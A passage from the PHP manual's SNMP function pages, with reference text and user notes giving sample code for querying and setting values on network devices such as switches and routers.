It seems that for each snmpget() its own socket() will be opened. This is not closed after snmpget() finishes. Neither existing sockets are reused by subsequent snmpget() calls.

When querying a few switches with lots of ports the maximum file descriptor count of Apache is exhausted. Thus no more snmpget() are possible. Additionaly no more files can be read by this particular Apache process. Neither the PHP file, any include files nor any other files (like a .css file, ...).

This probably explains the observation of tkjode at phalnet dot com. Different to his case is that I'm using Linux.
dstjohn-NO-SPAM at mediacast1 dot com 23-Sep-2003 04:53
Little tidbit for snmpget function

<?php
//snmpget system stats
$host = 'localhost';
$community = 'public';

//get system name
$sysname = snmpget($host, $community, "system.sysName.0");

//get system uptime
$sysup = snmpget($host, $community, "system.sysUpTime.0");
$sysupre = eregi_replace("([0-9]{3})","",$sysup);
$sysupre2 = eregi_replace("Timeticks:","",$sysupre);
$sysupre3 = eregi_replace("[()]","",$sysupre2);

//get tcp connections
$tcpcon = snmpget($host, $community,"tcp.tcpCurrEstab.0");
$tcpconre = eregi_replace("Gauge32:","",$tcpcon);

echo '
System Name: '.$sysname.'<br>
System Uptime: '.$sysupre3.'<br>
Current Tcp Connections: '.$tcpconre.'<br>';

?>
javierb at gmx dot net 04-Jun-2003 05:08
pooling a cisco.

$ip = '1.1.1.1';
$community ='publico';
$a = snmpget($ip,$community, "IF-MIB::ifLastChange.1")
$b = snmpget($ip,$community, "IF-MIB::ifAlias.1");
print("a = ".$a."\n"."b = ".$b."\n");

a = Timeticks: (929969969) 107 days, 15:14:59.69
b = Timeticks: (929969969) 107 days, 15:14:59.69

when the interface has not description.
tkjode at phalnet dot com 12-Feb-2002 08:49
It has been observed on NT/2000 systems that flooding devices with SNMP requests will cause NT's SNMP service to stop working.

For example, I polled 183 switches on our network just fine.  I then attempted to simulate heavy traffic to that page by refreshing and breaking connections (as any real world system would have to go through).  SNMP stopped working throughout the entire machine, including non-PHP/Webserver processes.
grice at berbee dot com 25-Aug-2000 01:05
It looks like you can use a non-standard port for SNMP
with something like this:

$foo = snmpwalk('foo.bar.com:1161', 'foofoo', '.1.3.6');

This is on PHP 3.16; I haven't managed to get PHP 4.02 to compile successfully on Solaris 2.6 yet.
--Michael


Fetch the SNMP object which follows the given object id

  • « snmpget
  • snmprealwalk »
  • PHP Manual
  • SNMP Functions
  • Fetch the SNMP object which follows the given object id

snmpgetnext

(PHP 5)

snmpgetnext — Fetch the SNMP object which follows the given object id

Description

string snmpgetnext ( string $host , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

The snmpgetnext() function is used to read the value of the SNMP object that follows the specified object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmpgetnext()

<?php
$nameOfSecondInterface = snmpgetnetxt('localhost', 'public', 'IF-MIB::ifName.1';
?>

See Also

  • snmpget() - Fetch an SNMP object
  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

achalsaraiya at yahoo dot co dot in 25-Mar-2010 11:46
with snmpget api, the agent returns the value associated
with the OID (or OIDs) specified in the original request.
The snmpgetnext api is  similar, but the agent returns the
value associated with the next (valid) OID

eg:
snmpgetnext('192.168.40.134',
                   'public',
                   'SNMPv2-MIB::sysUpTime.0');

will give the output:
STRING: user@hostname


Return all objects including their respective object ID within the specified one

  • « snmpgetnext
  • snmpset »
  • PHP Manual
  • SNMP Functions
  • Return all objects including their respective object ID within the specified one

snmprealwalk

(PHP 4, PHP 5)

snmprealwalk — Return all objects including their respective object ID within the specified one

Description

array snmprealwalk ( string $host , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

The snmprealwalk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmprealwalk()

<?php
 print_r(snmprealwalk("localhost", "public", "IF-MIB::ifName"));
?>

The above will output something like:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

See Also

  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

aleksander dot sztramski at kpsi dot pl 20-Aug-2009 01:39
If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
Anonymous 21-May-2008 07:19
To check if there were any results found you have to use the empty() function.  The count() function always returns a number 1 or larger.

     $walk_result = snmprealwalk($machine_ip, $community, $snmpcodes['interface_names']);

    if (empty($walk_result)) {
        print "No network interfaces found.<br>\n";
        exit(0);
    }
scot at indievisible dot org 09-Aug-2006 09:10
Some improvements based on testing a lot of OIDs on a lot of devices.

<?php
function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid);
    if (count($raw) == 0) return ($retval); // no data

    $prefix_length = 0;
    $largest = 0;
    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        if ($largest < $index[0]) $largest = $index[0];
        $retval[$index[1]][$index[0]] = $value;
    }

    if (count($retval) == 0) return ($retval); // no data

    // fill in holes and blanks the agent may "give" you
    foreach($retval as $k => $x) {
        for ($i = 1; $i <= $largest; $i++) {
        if (! isset($retval[$k][$i])) {
                $retval[$k][$i] = '';
            }
        }
        ksort($retval[$k]);
    }
    return($retval);
}
 ?>
scot at indievisible dot org 09-Aug-2006 05:16
Since PHP doesn't have a nice snmptable-like function... here is a quick-and-dirty hack that works for me. Works on complete and sparse tables. The example oids are for the route (complete) and interface (often sparse) tables.

<?php
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.4.21") or die("error");
    print_r($a);
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.2.2") or die("error");
    print_r($a);

function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid) or die("snmptable: unable to walk OID $oid");

    $prefix_length = 0;

    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        isset($firstrow) or $firstrow = $index[1];
        $retval[$index[1]][$index[0]] = $value;
    }

    // check for holes in the table and fill them in
    foreach ($retval[$firstrow] as $key => $tmp) {
        foreach($retval as $check => $tmp2) {
            if (! isset($retval[$check][$key])) {
                $retval[$check][$key] = '';
            }
        }
    }

    return($retval);
}
?>
railson at amixsi dot com dot br 30-May-2006 07:52
Attention: timeout is in microseconds (multiply by 1,000,000 for seconds)
Stephen Cope 10-Sep-2004 05:38
Here's a way to find the uptime and number of users on a machine. (Note that uptime is the uptime of the snmpd daemon, which should be fairly close to the uptime for the host.)

<?php
        $state = snmprealwalk($host, "public", ".1.3.6.1.2.1.25.1", 50, 1);
        $uptime = ereg_replace("^.*\) ([0-9]+ .*):[0-9][0-9]\.[0-9]{2}.*$", "\\1", $state['host.hrSystem.hrSystemUptime.0']);
        $users  = (int)ereg_replace("Gauge32: ", "", $state['host.hrSystem.hrSystemNumUsers.0']);
        printf('<div class="machine"><dt>%s</dt><dd>%s</dd>', $host, $desc);
        printf('<dd>up %s</dd>', $uptime);
        if ( $users ) printf('<dd>%d user%s</dd>', $users, ($users > 1) ? 's' : '');
        printf('</div>');
?>
Lars Troen 24-Feb-2003 02:30
snmprealwalk indexes the values using the oid instead of an integer. This is useful when you need data that is contained in the oid as well as the value.

Here's an example for retrieving and printing vlan info:
//
// I have collected the vlan identifiers earlier from the 3com mib and they are stored in the $vlan table.
//
  for($n=0;$n<count($vlan);$n++){
    print $vlan[$n][id]."  ".$vlan[$n][name]."<br>\n";
    $ifStackStatusTable=@snmprealwalk($switch, $community, ".1.3.6.1.2.1.31.1.2.1.3.".$vlan[$n][id]); // ifMIB.ifMIBObjects.ifStackTable.ifStackEntry.ifStackStatus
    for(reset($ifStackStatusTable);  $port = key($ifStackStatusTable);  next($ifStackStatusTable)){
      print "$port=$ifStackStatusTable[$port]<br>";
      }


Set the value of an SNMP object

  • « snmprealwalk
  • snmpwalk »
  • PHP Manual
  • SNMP Functions
  • Set the value of an SNMP object

snmpset

(PHP 4, PHP 5)

snmpset — Set the value of an SNMP object

Description

bool snmpset ( string $host , string $community , string $object_id , string $type , mixed $value [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmpset() is used to set the value of an SNMP object specified by the object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The write community.

object_id

The SNMP object id.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns TRUE on success or FALSE on failure.

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

Examples

Example #1 Using snmpset()

<?php
  snmpset("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Example #2 Using snmpset() for setting BITS SNMP object id

<?php
  snmpset("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  snmpset("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

See Also

  • snmpget() - Fetch an SNMP object

User Contributed Notes

ch at lathspell dot de 13-Jan-2010 03:22
Note that there are two ways to set a variable of the type BITS like e.g.:
  SYNTAX        BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}

1. Using type "b" and a list of bit numbers like:
  snmpset('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
with the disadvantage that the success is not easily verifyable as an snmpget() for the same OID would return e.g. 0xF8.

2. Using type "x" and a hex number but without(!) the usual "0x" prefix:
  snmpset('FOO-MIB::bar.42', 'x', 'F0');
tridman 19-Apr-2007 04:19
If you have importet the MIB-Files into the MIB Tree with "snmp_read_mib" you may use '=' as the "type" parameter.
In this case the type will also be taken from the loaded mib file. (Octest strings will be interpreted like strings though)
Comes in handy for a more dynamic use of snmpset.
deivis dot jakstas at gmail dot com 28-Dec-2006 03:53
If you setting hex values correct format is:
snmpset($source_ip,$community,"$oid","x","10 10 10 10");
slawrance at technologist dot com 21-Jul-1999 09:01
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING
n    NULLOBJ
b    BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the
following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double

As an example, using "i" would set an integer, and "s" would set a string.  If the SNMP host rejects the data type, you might get the following message: "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length."

If you specify an unknown or invalid OID, you might get a "Could not add variable" message.  When specifying an absolute OID (one that is already resolved) that is completely numeric, prepend it with a period.  For example, an OID that could enable/disable Ethernet ports on an Asante hub might be "1.3.6.1.2.1.22.1.3.1.1.3.6.4.0", but you would need to use ".1.3.6.1.2.1.22.1.3.1.1.3.6.4.0" in the OID parameter so that the SNMP library won't try to resolve an already resolved OID.  Friendly, unresolved OIDs do not need the period prepended, such as "system.SysContact.0"


Fetch all the SNMP objects from an agent

  • « snmpset
  • snmpwalkoid »
  • PHP Manual
  • SNMP Functions
  • Fetch all the SNMP objects from an agent

snmpwalk

(PHP 4, PHP 5)

snmpwalk — Fetch all the SNMP objects from an agent

Description

array snmpwalk ( string $hostname , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmpwalk() function is used to read all the values from an SNMP agent specified by the hostname.

Parameters

hostname

The SNMP agent (server).

community

The read community.

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an array of SNMP object values starting from the object_id as root or FALSE on error.

Examples

Example #1 snmpwalk() Example

<?php
$a = snmpwalk("127.0.0.1", "public", "");

foreach ($a as $val) {
    echo "$val\n";
}

?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

See Also

  • snmprealwalk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

http://mike.eire.ca 23-Mar-2005 07:54
I found on Windows (PHP 5) an empty string did not return anything, it just timed out.  I had to use null instead:

<?php
$a = snmpwalk("127.0.0.1", "public", null);
?>
bobby [dot] clark [at] eku [dot] edu 17-Sep-2003 11:29
I had to use an object_id like these.
'SNMPv2-MIB::system.sysDescr.0'
'IF-MIB::interfaces.ifTable.ifEntry.ifAdminStatus'

<?php
$host = '192.168.1.1';
$community = 'public';
$object_id = 'IF-MIB::interfaces.ifTables.ifEntry.ifAdminStatus';

$sysdesc = snmpwalk($host, $community', $object_id);
print_r($sysdesc);
?>
Lars Troen 14-Mar-2003 12:18
Note that there's different behaviuor in php snmpwalk and ucd snmpwalk. If you try to walk an oid that has one value not under a subkey of the walked oid, ucd snmpwalk will return the value while php's snmpwalk will not.
anders at ei dot nu 29-Jan-2003 07:11
It would be nice to be able to specify what snmp version to use ( 1,2c,3 )

For now, I'ts hardcoded in ext/snmp/snmp.c

change session.version from 1 to 2c or 3 if you need for now..

i.e

session.version = SNMP_VERSION_1;

to:
session.version = SNMP_VERSION_2c;
steve at ourabode dot org 26-Mar-2002 12:54
Timeout is in MICRO seconds.
1,000,000 &micros = 1 s
layer2 at www dot com 29-Aug-2001 05:52
Something to care about in dealing with snmpwalk:<BR>
While walking the MIB, snmpwalk puts info that gets into an array, and that is correct.<BR>
The trouble happened when snmpwalk needs to collect information from instances that contains subinstances (i.e. walking .1.2.3.4.5 and having instances like 1.1, 1.2, 1.3): in this case it gets info and passes into an array, but when walking the array, each value is preceeded by 'Counter32: '.<BR>
I've tested this in many ways and it always happened the same way.
john at antefacto dot com 17-Aug-2001 05:21
Ah. That's why all of our SNMP stuff was timing out anytime there was any load on the system. Sigh. A waste of two weeks trying to debug snmp....

 Even the snmpcmd manpage doesn't give a
unit for timeout.
billf at freebsd dot org 01-Aug-2001 11:22
for the poster wondering what the
timeout field was measured in:

from the ucd-snmp header file snmp_api.h:

    long    timeout;
    /* Number of uS until first timeout
    then exponential backoff */
jmartinson(AT_nospam)info234.com 20-Jun-2001 04:41
A quick router device view:

<?
include "header.html";

$host = "auscr1";
$community = "tellme";

$sysDescr = snmpget("$host","$community","system.sysDescr.0");
$ifDescr = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifDescr");
$ifIndex = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifIndex");
$ifAdminStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifAdminStatus");
$ifOperStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifOperStatus");
$ifLastChange = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifLastChange");

print "<table border=1 bgcolor=#ffffff><tr><td>$host</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff><tr><td>$sysDescr</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff>";
print "<tr>
        <td>ifIndex</td>
        <td>ifDescr</td>
        <td>ifAdminStatus</td>
        <td>ifOperStatus</td>
        <td>ifLastChange</td>
        </tr>";

for ($i=0; $i<count($ifIndex); $i++) {
        print "<tr>";
        print "<td>$ifIndex[$i]</td>";
        print "<td>$ifDescr[$i]</td>";
        print "<td>$ifAdminStatus[$i]</td>";
        print "<td>$ifOperStatus[$i]</td>";
        print "<td>$ifLastChange[$i]</td>";
        print "</tr>";
}
print "</table>";

?>


Query for a tree of information about a network entity

  • « snmpwalk
  • SNMP »
  • PHP Manual
  • SNMP Functions
  • Query for a tree of information about a network entity

snmpwalkoid

(PHP 4, PHP 5)

snmpwalkoid — Query for a tree of information about a network entity

Description

array snmpwalkoid ( string $hostname , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmpwalkoid() function is used to read all object ids and their respective values from an SNMP agent specified by hostname.

The existence of snmpwalkoid() and snmpwalk() has historical reasons. Both functions are provided for backward compatibility. Use snmprealwalk() instead.

Parameters

hostname

The SNMP agent.

community

The read community.

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array with object ids and their respective object value starting from the object_id as root or FALSE on error.

Examples

Example #1 snmpwalkoid() Example

<?php
$a = snmpwalkoid("127.0.0.1", "public", "");
for (reset($a); $i = key($a); next($a)) {
    echo "$i: $a[$i]<br />\n";
}
?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

See Also

  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

thammer at rtccom dot com 14-Jun-2005 05:29
The above note mentions that the MAC addresses come back converted to integers or something funky like that. Not sure why that is happening but I fixed that with a wrapper function.

function PadMAC($mac) {
    $mac_arr = explode(':',$mac);
    foreach($mac_arr as $atom) {
        $atom = trim($atom);
        $newarr[] = sprintf("%02s",$atom);
    }
    $newmac = implode(':',$newarr);
    return $newmac;
}

Maybe that will help somebody with that issue. I know I personally use the heck out of these user contributed notes
gene_wood at example dot com 14-Oct-2004 06:23
Looks like timeout is in MICRO seconds.
1,000,000 &micros = 1 s
jasper at pointless dot net 07-Jan-2001 04:21
N.B. it's possible for snmpwalkoid to lose data - the "rmon.matrix.matrixSDTable" table for example uses binary mac addresses as part of the index, these get converted to ascii, and by the time they get to php they can be non-unique - so some entrys in the table get lost...


The SNMP class

(PHP 5 >= 5.4.0)

Introduction

Represents SNMP session.

Class synopsis

SNMP {
/* Properties */
public int $max_oids ;
public int $valueretrieval ;
public bool $quick_print ;
public bool $enum_print ;
public int $oid_output_format ;
public bool $oid_increasing_check ;
public int $exceptions_enabled ;
public array $info ;
/* Methods */
public __construct ( int $version , string $hostname , string $community [, int $timeout = 1000000 [, int $retries = 5 ]] )
public bool close ( void )
public mixed get ( mixed $object_id [, bool $preserve_keys = false ] )
public int getErrno ( void )
public string getError ( void )
public mixed getnext ( mixed $object_id )
public bool set ( mixed $object_id , mixed $type , mixed $value )
public bool setSecurity ( string $sec_level [, string $auth_protocol = [, string $auth_passphrase = [, string $priv_protocol = [, string $priv_passphrase = [, string $contextName = [, string $contextEngineID = ]]]]]] )
public array walk ( string $object_id [, bool $suffix_as_key = FALSE [, int $max_repetitions [, int $non_repeaters ]]] )
/* Constants */
const integer ERRNO_NOERROR = 0 ;
const integer ERRNO_GENERIC = 2 ;
const integer ERRNO_TIMEOUT = 4 ;
const integer ERRNO_ERROR_IN_REPLY = 8 ;
const integer ERRNO_OID_NOT_INCREASING = 16 ;
const integer ERRNO_OID_PARSING_ERROR = 32 ;
const integer ERRNO_MULTIPLE_SET_QUERIES = 64 ;
const integer ERRNO_ANY = 126 ;
const integer VERSION_1 = 0 ;
const integer VERSION_2C = 1 ;
const integer VERSION_2c = 1 ;
const integer VERSION_3 = 3 ;
}

Properties

max_oids

Maximum OID per GET/SET/GETBULK request

valueretrieval

Controls the method how the SNMP values will be returned

SNMP_VALUE_LIBRARY | The return values will be as returned by the Net-SNMP library.
SNMP_VALUE_PLAIN | The return values will be the plain value without the SNMP type hint.
SNMP_VALUE_OBJECT | The return values will be objects with the properties "value" and "type", where the latter is one of the SNMP_OCTET_STR, SNMP_COUNTER etc. constants. The way "value" is returned is based on which one of SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN is set
quick_print

Value of quick_print within the NET-SNMP library

Sets the value of quick_print within the NET-SNMP library. When this is set (1), the SNMP library will return 'quick printed' values. This means that just the value will be printed. When quick_print is not enabled (default) the UCD SNMP library prints extra information including the type of the value (i.e. IpAddress or OID). Additionally, if quick_print is not enabled, the library prints additional hex values for all strings of three characters or less.

enum_print

Controls the way enum values are printed

Parameter toggles if walk/get etc. should automatically lookup enum values in the MIB and return them together with their human readable string.

oid_output_format

Controls OID output format

OID .1.3.6.1.2.1.1.3.0 representation for various oid_output_format values
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined
oid_increasing_check

Controls disabling check for increasing OID while walking OID tree

Some SNMP agents are known for returning OIDs out of order but can complete the walk anyway. Other agents return OIDs that are out of order and can cause SNMP::walk() to loop indefinitely until memory limit will be reached. PHP SNMP library by default performs OID increasing check and stops walking on OID tree when it detects possible loop with issuing warning about non-increasing OID faced. Set oid_increasing_check to FALSE to disable this check.

exceptions_enabled

Controls which failures will raise SNMPException instead of warning. Use bitwise OR'ed SNMP::ERRNO_* constants. By default all SNMP exceptions are disabled.

info

Read-only property with remote agent configuration: hostname, port, default timeout, default retries count

Predefined Constants

SNMP Error Types

SNMP::ERRNO_NOERROR

No SNMP-specific error occurred.

SNMP::ERRNO_GENERIC

A generic SNMP error occurred.

SNMP::ERRNO_TIMEOUT

Request to SNMP agent timed out.

SNMP::ERRNO_ERROR_IN_REPLY

SNMP agent returned an error in reply.

SNMP::ERRNO_OID_NOT_INCREASING

SNMP agent faced OID cycling reporning non-increasing OID while executing (BULK)WALK command. This indicates bogus remote SNMP agent.

SNMP::ERRNO_OID_PARSING_ERROR

Library failed while parsing OID (and/or type for SET command). No queries has been made.

SNMP::ERRNO_MULTIPLE_SET_QUERIES

Library will use multiple queries for SET operation requested. That means that operation will be performed in a non-transaction manner and second or subsequent chunks may fail if a type or value failure will be faced.

SNMP::ERRNO_ANY

All SNMP::ERRNO_* codes bitwise OR'ed.

SNMP Protocol Versions

SNMP::VERSION_1

SNMP::VERSION_2C, SNMP::VERSION_2c

SNMP::VERSION_3

Table of Contents

  • SNMP::close — Close SNMP session
  • SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent
  • SNMP::get — Fetch an SNMP object
  • SNMP::getErrno — Get last error code
  • SNMP::getError — Get last error message
  • SNMP::getnext — Fetch an SNMP object which follows the given object id
  • SNMP::set — Set the value of an SNMP object
  • SNMP::setSecurity — Configures security-related SNMPv3 session parameters
  • SNMP::walk — Fetch SNMP object subtree

User Contributed Notes

There are no user contributed notes for this page.


Close SNMP session

  • « SNMP
  • SNMP::__construct »
  • PHP Manual
  • SNMP
  • Close SNMP session

SNMP::close

(PHP 5 >= 5.4.0)

SNMP::close — Close SNMP session

Description

public bool SNMP::close ( void )

Frees previously allocated SNMP session object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SNMP::close() example

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  # ...
  # get, walk, etc goes here
  # ...
  $session->close();
?>

See Also

  • SNMP::__construct() - Creates SNMP instance representing session to remote SNMP agent

User Contributed Notes

There are no user contributed notes for this page.


Creates SNMP instance representing session to remote SNMP agent

  • « SNMP::close
  • SNMP::get »
  • PHP Manual
  • SNMP
  • Creates SNMP instance representing session to remote SNMP agent

SNMP::__construct

(PHP 5 >= 5.4.0)

SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent

Description

public SNMP::__construct ( int $version , string $hostname , string $community [, int $timeout = 1000000 [, int $retries = 5 ]] )

The function description goes here.

Parameters

version

SNMP protocol version:
SNMP::VERSION_1,
SNMP::VERSION_2C,
SNMP::VERSION_3.

hostname

The SNMP agent. hostname may be suffixed with optional SNMP agent port after colon. IPv6 addresses must be enclosed in square brackets if used with port. If FQDN is used for hostname it will be resolved by php-snmp library, not by Net-SNMP engine. Usage of IPv6 addresses when specifying FQDN may be forced by enclosing FQDN into square brackets. Here it is some examples:

IPv4 with default port | 127.0.0.1
IPv6 with default port | ::1 or [::1]
IPv4 with specific port | 127.0.0.1:1161
IPv6 with specific port | [::1]:1161
FQDN with default port | host.domain
FQDN with specific port | host.domain:1161
FQDN with default port, force usage of IPv6 address | [host.domain]
FQDN with specific port, force usage of IPv6 address | [host.domain]:1161

community

The purpuse of community is SNMP version specific:

SNMP::VERSION_1 | SNMP community
SNMP::VERSION_2C | SNMP community
SNMP::VERSION_3 | SNMPv3 securityName
timeout

The number of microseconds until the first timeout.

retries

The number of retries in case timeout occurs.

Return Values

Returns SNMP object representing remote SNMP agent.

Errors/Exceptions

SNMP::__construct() throws an exception when parameters count or types are wrong or unknown SNMP protocol version specified.

Examples

Example #1 Fetching sysLocation

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $sysdescr = $session->get("sysDescr.0");
  echo "$sysdescr\n";
?>

The above example will output something similar to:

STRING: Test server

See Also

  • SNMP::close() - Close SNMP session

User Contributed Notes

There are no user contributed notes for this page.


Fetch an SNMP object

  • « SNMP::__construct
  • SNMP::getErrno »
  • PHP Manual
  • SNMP
  • Fetch an SNMP object

SNMP::get

(PHP 5 >= 5.4.0)

SNMP::get — Fetch an SNMP object

Description

public mixed SNMP::get ( mixed $object_id [, bool $preserve_keys = false ] )

Fetch an SNMP object specified in object_id using GET query.

Parameters

If object_id is a string, then SNMP::get() will return SNMP object as string. If object_id is a array, all requested SNMP objects will be returned as associative array of the SNMP object ids and their values.

object_id

The SNMP object (OID) or objects

preserve_keys

When object_id is a array and preserve_keys set to TRUE keys in results will be taken exactly as in object_id, otherwise SNMP::oid_output_format property is used to determinate the form of keys.

Return Values

Returns SNMP objects requested as string or array depending on object_id type or FALSE on error.

Errors/Exceptions

This method does not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occur the SNMP class parameter exceptions_enabled should be set to a corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 Single SNMP object

Single SNMP object may be requested in two ways: as string resulting string return value or as single-element array with associative array as output.

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $sysdescr = $session->get("sysDescr.0");
  echo "$sysdescr\n";
  $sysdescr = $session->get(array("sysDescr.0"));
  print_r($sysdescr);
?>

The above example will output something similar to:

STRING: Test server
Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
)

Example #2 Miltiple SNMP objects

$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $results = $session->get(array("sysDescr.0", "sysName.0"));
  print_r($results);
  $session->close();

The above example will output something similar to:

Array
(
